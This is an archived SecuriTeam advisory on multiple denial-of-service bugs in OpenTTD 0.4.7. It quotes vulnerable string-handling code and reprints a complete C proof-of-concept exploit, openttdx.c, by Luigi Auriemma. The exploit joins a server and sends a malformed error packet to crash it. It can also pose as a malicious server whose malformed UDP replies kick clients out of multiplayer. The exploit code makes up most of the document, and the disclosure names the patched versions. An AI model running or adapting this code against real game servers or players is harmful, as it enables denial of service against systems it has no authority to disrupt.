[NEWS] OpenTTD Multiple DoS



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



OpenTTD Multiple DoS
------------------------------------------------------------------------


SUMMARY

" <http://www.openttd.org/> OpenTTD is a clone of the Microprose game
"Transport Tycoon Deluxe", a popular game originally written by Chris
Sawyer. It attempts to mimic the original game as closely as possible
while extending it with new features."

Improper user input handling allow attackers to disconnect and crash the
OpenTTD Client and Server.

DETAILS

Vulnerable Systems:
* OpenTTD version 0.4.7 and prior

Immune Systems:
* OpenTTD version 0.4.8
* OpenTTD nightly build revision 4531 and above

Program Termination Through Big Error Number:
Both client and server handle a type of command (PACKET_SERVER_ERROR and
PACKET_CLIENT_ERROR) for the visualization of some pre-built errors in the
console.

The problem happens when an attacker sends an invalid big error number (8
bit) which forces the program to terminate spontaneously through the usage
of the error() function.

The bug is exploitable only in-game so the attacker must have access to
the server: his IP must not be banned, he must know the password if it has
been set and the server must not be full.

Vulnerable Code:
From strings.c:

char *GetStringWithArgs(char *buffr, uint string, const int32 *argv)
{
uint index = GB(string, 0, 11);
uint tab = GB(string, 11, 5);

...

if (index >= _langtab_num[tab]) {
error(
"!String 0x%X is invalid. "
"Probably because an old version of the .lng
file.\n", string
);
}

return FormatString(buffr, GetStringPtr(GB(string, 0, 16)), argv,
GB(string, 24, 8));
}

Broadcast Clients Disconnection in Multiplayer Menu:
Clients are affected by an harmless bug when they handle UDP packets.
The first 2 bytes of each UDP packet are a 16 bit number which specifies
the size of the packet.
If this value in a received packet is invalid (for example too small) the
client returns immediately to the main menu.
This bug becomes problematic when a malicious server visible in the master
server list sends invalid replies to the queries sent from the clients
which want to play online and will be no longer able to do it due to the
returning to the main menu.

Proof of Concept:
winerr.h can be found at:
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html >
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html

openttdx.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 3979
#define GAMEVER "0.4.7"

u_char *openttd_info(u_char *data);
void delimit(u_char *data);
int tcp_send(int sd, u_char *buff, int len);
int tcp_recv(int sd, u_char *in);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int mycpy(u_char *dst, u_char *src);
int randstr(u_char *data, int len, u_int *seed);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

typedef enum {
NETWORK_ERROR_GENERAL, // Try to use thisone like never

// Signals from clients
NETWORK_ERROR_DESYNC,
NETWORK_ERROR_SAVEGAME_FAILED,
NETWORK_ERROR_CONNECTION_LOST,
NETWORK_ERROR_ILLEGAL_PACKET,

// Signals from servers
NETWORK_ERROR_NOT_AUTHORIZED,
NETWORK_ERROR_NOT_EXPECTED,
NETWORK_ERROR_WRONG_REVISION,
NETWORK_ERROR_NAME_IN_USE,
NETWORK_ERROR_WRONG_PASSWORD,
NETWORK_ERROR_PLAYER_MISMATCH, // Happens in CLIENT_COMMAND
NETWORK_ERROR_KICKED,
NETWORK_ERROR_CHEATER,
NETWORK_ERROR_FULL,
} NetworkErrorCode;

typedef enum {
STATUS_INACTIVE,
STATUS_AUTH, // This means that the client is authorized
STATUS_MAP_WAIT, // This means that the client is put on hold because
someone else is getting the map
STATUS_MAP,
STATUS_DONE_MAP,
STATUS_PRE_ACTIVE,
STATUS_ACTIVE,
} ClientStatus;

typedef enum {
MAP_PACKET_START,
MAP_PACKET_NORMAL,
MAP_PACKET_PATCH,
MAP_PACKET_END,
} MapPacket;

typedef enum {
OWNER_TOWN = 0xf, // a town owns the tile
OWNER_NONE = 0x10, // nobody owns the tile
OWNER_WATER = 0x11, // "water" owns the tile
OWNER_SPECTATOR = 0xff, // spectator in MP or in scenario editor
} Owner;

enum {
NETWORK_NAME_LENGTH = 80,
NETWORK_HOSTNAME_LENGTH = 80,
NETWORK_REVISION_LENGTH = 10,
NETWORK_PASSWORD_LENGTH = 20,
NETWORK_PLAYERS_LENGTH = 200,
NETWORK_CLIENT_NAME_LENGTH = 25,
NETWORK_RCONCOMMAND_LENGTH = 500,
NETWORK_NUM_LANGUAGES = 4,
};

typedef enum {
PACKET_SERVER_FULL,
PACKET_SERVER_BANNED,
PACKET_CLIENT_JOIN,
PACKET_SERVER_ERROR,
PACKET_CLIENT_COMPANY_INFO,
PACKET_SERVER_COMPANY_INFO,
PACKET_SERVER_CLIENT_INFO,
PACKET_SERVER_NEED_PASSWORD,
PACKET_CLIENT_PASSWORD,
PACKET_SERVER_WELCOME,
PACKET_CLIENT_GETMAP,
PACKET_SERVER_WAIT,
PACKET_SERVER_MAP,
PACKET_CLIENT_MAP_OK,
PACKET_SERVER_JOIN,
PACKET_SERVER_FRAME,
PACKET_SERVER_SYNC,
PACKET_CLIENT_ACK,
PACKET_CLIENT_COMMAND,
PACKET_SERVER_COMMAND,
PACKET_CLIENT_CHAT,
PACKET_SERVER_CHAT,
PACKET_CLIENT_SET_PASSWORD,
PACKET_CLIENT_SET_NAME,
PACKET_CLIENT_QUIT,
PACKET_CLIENT_ERROR,
PACKET_SERVER_QUIT,
PACKET_SERVER_ERROR_QUIT,
PACKET_SERVER_SHUTDOWN,
PACKET_SERVER_NEWGAME,
PACKET_SERVER_RCON,
PACKET_CLIENT_RCON,
PACKET_END // Should ALWAYS be on the end of this list!! (period)
} PacketType;

typedef enum {
DESTTYPE_BROADCAST,
DESTTYPE_PLAYER,
DESTTYPE_CLIENT
} DestType;

typedef enum {
NETWORK_GAME_PASSWORD,
NETWORK_COMPANY_PASSWORD,
} NetworkPasswordType;

typedef enum {
PACKET_UDP_CLIENT_FIND_SERVER,
PACKET_UDP_SERVER_RESPONSE,
PACKET_UDP_CLIENT_DETAIL_INFO,
PACKET_UDP_SERVER_DETAIL_INFO, // Is not used in OpenTTD itself, only for
external querying
PACKET_UDP_SERVER_REGISTER, // Packet to register itself to the master
server
PACKET_UDP_MASTER_ACK_REGISTER, // Packet indicating registration has
succedeed
PACKET_UDP_CLIENT_GET_LIST, // Request for serverlist from master server
PACKET_UDP_MASTER_RESPONSE_LIST, // Response from master server with
server ip's + port's
PACKET_UDP_SERVER_UNREGISTER, // Request to be removed from the
server-list
PACKET_UDP_END
} PacketUDPType;



struct sockaddr_in peer;

int main(int argc, char *argv[]) {
u_int seed;
int sd,
i,
on = 1,
psz,
len;
u_short port = PORT;
u_char password[NETWORK_PASSWORD_LENGTH],
*buff,
*ver,
*p;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"OpenTTD <= 0.4.7 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: http://aluigi.altervista.org\n";
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n"
" Use the host 0 for going in listening mode and testing the
clients UDP bug\n"
"\n", argv[0], port);
exit(1);
}

if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

buff = malloc(0xffff);
if(!buff) std_err();

if(!peer.sin_addr.s_addr) {
printf(
"- clients testing mode\n"
" the tool will simply emulates a server which sends
malformed replies to the\n"
" clients. This bug has power only in Internet where any
client in the world\n"
" will be no longer able to play online because it will exit
from the\n"
" multiplayer menu everytime if there is a malicious server
online in the\n"
" master server's list.\n"
" In this PoC you can test the effects in LAN versus your
computers.\n");

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
psz = sizeof(peer);

printf("- clients:\n");
for(;;) {
len = recvfrom(sd, buff, 0xffff, 0, (struct sockaddr *)&peer,
&psz);

printf(" %s:%hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));

buff[0] = 0; // this is enough
buff[1] = 0;
sendto(sd, buff, 2, 0, (struct sockaddr *)&peer,
sizeof(peer));
}

close(sd);
free(buff);
return(0);
}

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

seed = time(NULL);
*password = 0;

p = buff;
*p++ = 3; // 16 bit size, pre-built here
*p++ = 0;
*p++ = PACKET_UDP_CLIENT_FIND_SERVER;

printf("- query server\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = send_recv(sd, buff, p - buff, buff, 0xffff, 0);
close(sd);

if(len < 0) {
ver = GAMEVER;
} else {
ver = openttd_info(buff);
if(!ver) ver = GAMEVER;
}

redo:
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

printf("- connect...");
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf(" done\n");

printf("- join request\n");
p = buff;
*p++ = PACKET_CLIENT_JOIN; // command
p += mycpy(p, ver); // version
p += randstr(p, NETWORK_NAME_LENGTH, &seed); // name
*p++ = 1; // playas (0 or
OWNER_SPECTATOR)
*p++ = 0; // client_lang
p += randstr(p, NETWORK_NAME_LENGTH, &seed); // unique id

if(tcp_send(sd, buff, p - buff) < 0) std_err();
len = tcp_recv(sd, buff);
if(len < 0) std_err();


if(buff[0] != PACKET_SERVER_WELCOME) {
if(buff[0] == PACKET_SERVER_FULL) {
printf("\nError: the server is full, retry later\n\n");
exit(1);

} else if(buff[0] == PACKET_SERVER_BANNED) {
printf("\nError: you are banned\n\n");
exit(1);

} else if(buff[0] == PACKET_SERVER_NEED_PASSWORD) {
printf("- server is protected, insert the right password:\n
");
fgets(password, sizeof(password), stdin); // ASKED EVERYTIME
SINCE
delimit(password); // WE NEED ONLY
ONE CONN

p = buff;
*p++ = PACKET_CLIENT_PASSWORD; // command
*p++ = NETWORK_GAME_PASSWORD; // type
p += mycpy(p, password); // password

if(tcp_send(sd, buff, p - buff) < 0) std_err();
len = tcp_recv(sd, buff);
if(len < 0) std_err();

if(buff[0] != PACKET_SERVER_WELCOME) {
close(sd);
goto redo; // need to reconnect
}

} else {
switch(buff[1]) {
case NETWORK_ERROR_NOT_AUTHORIZED: p = "not authorized";
break;
case NETWORK_ERROR_NOT_EXPECTED: p = "not expected";
break;
case NETWORK_ERROR_WRONG_REVISION: p = "wrong revision";
break;
case NETWORK_ERROR_NAME_IN_USE: p = "name in use";
break;
case NETWORK_ERROR_WRONG_PASSWORD: p = "wrong password";
break;
case NETWORK_ERROR_PLAYER_MISMATCH: p = "player mismatch";
break;
case NETWORK_ERROR_KICKED: p = "kicked";
break;
case NETWORK_ERROR_CHEATER: p = "cheater";
break;
case NETWORK_ERROR_FULL: p = "not authorized";
break;
default: p = "unknown error";
break;
}
printf("\n"
"Error: player not accepted (%d)\n"
" %s\n"
"\n", buff[0], p);
exit(1);
}
}


printf("- receive clients info\n");
do {
len = tcp_recv(sd, buff);
fputc('.', stdout);
} while(buff[1] != 1);
fputc('\n', stdout);


printf("- map request\n");
p = buff;
*p++ = PACKET_CLIENT_GETMAP; // command

if(tcp_send(sd, buff, p - buff) < 0) std_err();
len = tcp_recv(sd, buff);
if(len < 0) std_err();

printf("- receive map data\n");
do {
len = tcp_recv(sd, buff);
fputc('.', stdout);
} while((buff[0] == PACKET_SERVER_MAP) && (buff[1] < 2));
fputc('\n', stdout);


printf("- map ok\n");
p = buff;
*p++ = PACKET_CLIENT_MAP_OK; // command

if(tcp_send(sd, buff, p - buff) < 0) std_err();


printf("- send wrong error number\n");
p = buff;
*p++ = PACKET_CLIENT_ERROR; // command
*p++ = 0xff; // error number

if(tcp_send(sd, buff, p - buff) < 0) goto check;
// len = tcp_recv(sd, buff);
// if(len < 0) std_err();

check:
sleep(ONESEC);

close(sd);

printf("- check server:\n");
for(i = 3; i;) {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
break;
}
close(sd);
printf(" try the check other %d times\n", --i);
sleep(ONESEC);
}
if(!i) printf("\n Server doesn't seem vulnerable\n\n");

close(sd);
free(buff);
return(0);
}

u_char *openttd_info(u_char *p) {
u_char *ver;

p += 2; // skip 16 bit size
if(*p != PACKET_UDP_SERVER_RESPONSE) return(NULL); p++;
printf(" game info version %hhu\n", *p++);
printf(" companies_max %hhu\n", *p++);
printf(" players %hhu\n", *p++);
printf(" spectators_max %hhu\n", *p++);
printf(" server_name %s\n", p); p += strlen(p)
+ 1;
ver = strdup(p);
printf(" server_revision %s\n", p); p += strlen(p)
+ 1;
printf(" server_lang %hhu\n", *p++);
printf(" use_password %hhu\n", *p++);
printf(" clients_max %hhu\n", *p++);
printf(" clients_on %hhu\n", *p++);
printf(" spectators %hhu\n", *p++);
printf(" game_date %hu\n", *(u_short *)p); p += 2;
printf(" start_date %hu\n", *(u_short *)p); p += 2;
printf(" map_name %s\n", p); p += strlen(p)
+ 1;
printf(" map_width %hu\n", *(u_short *)p); p += 2;
printf(" map_height %hu\n", *(u_short *)p); p += 2;
printf(" map_set %hhu\n", *p++);
printf(" dedicated %hhu\n", *p++);
return(ver);
}

void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}

int tcp_send(int sd, u_char *buff, int len) {
u_char tb[2];

len += 2;
tb[0] = len;
tb[1] = len >> 8;
send(sd, tb, 2, 0);
return(send(sd, buff, len - 2, 0));
}

int tcp_recv(int sd, u_char *buff) {
int t;
u_short rem,
len;
u_char tb[2],
*p;

recv(sd, tb, 1, 0);
recv(sd, tb + 1, 1, 0);
len = tb[0] | (tb[1] << 8);

t = len - 2;
if(t < 0) return(-1);
rem = len = t;
p = buff;
while(rem) {
t = recv(sd, p, rem, 0);
if(t <= 0) return(-1);
p += t;
rem -= t;
}

return(len);
}


int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err) {
int retry,
len;

if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
return(0);

} else if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
}

if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n",
stdout);
exit(1);
}

} else {
if(timeout(sd, 3) < 0) return(-1);
}

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}

int randstr(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p = data;
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";

rnd = *seed;
len = rnd % len; // WE NEED THE MAXIMUM
LENGTH
if(len < (NETWORK_CLIENT_NAME_LENGTH + 2)) {
len = NETWORK_CLIENT_NAME_LENGTH + 2; // FOR EXPLOITING THE
GARBAGE PROBLEM
}

while(len--) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3;
*p++ = table[rnd % (sizeof(table) - 1)];
}
*p++ = 0;

*seed = rnd;
return(p - data);
}

int mycpy(u_char *dst, u_char *src) {
u_char *p;

for(p = dst; *src; src++, p++) {
*p = *src;
}
*p++ = 0;
return(p - dst);
}

int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/openttdx-adv.txt>
http://aluigi.altervista.org/adv/openttdx-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NT] Liero Xtreme Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... master server) are supported". ... int main{ ... len = send_recv(sd, buff, len, buff, sizeof(buff), 1); ...
    (Securiteam)
  • Re: echo client using threads
    ... server recvs some characters from a client and then echoes the ... that it asks user for input and then echoes that to all clients. ... int main ... exit(EXIT_FAILURE); ...
    (comp.unix.programmer)
  • [NEWS] Empire Server DoS
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Improper handling of user input allows attackers to crash Empire server. ... static int ... line_recv(sd, buff, sizeof(buff)); ...
    (Securiteam)
  • Re: sending echo to all clients
    ... I have rewritten the program and it sends echo to all clients. ... Lets say 3 clients are connected to server, ... int main ... exit(EXIT_FAILURE); ...
    (comp.unix.programmer)
  • POLL() problem
    ... A server that handles multiplexing using poll. ... not add them to "struct pollfd clients" array. ... int main ... exit(EXIT_FAILURE); ...
    (comp.unix.programmer)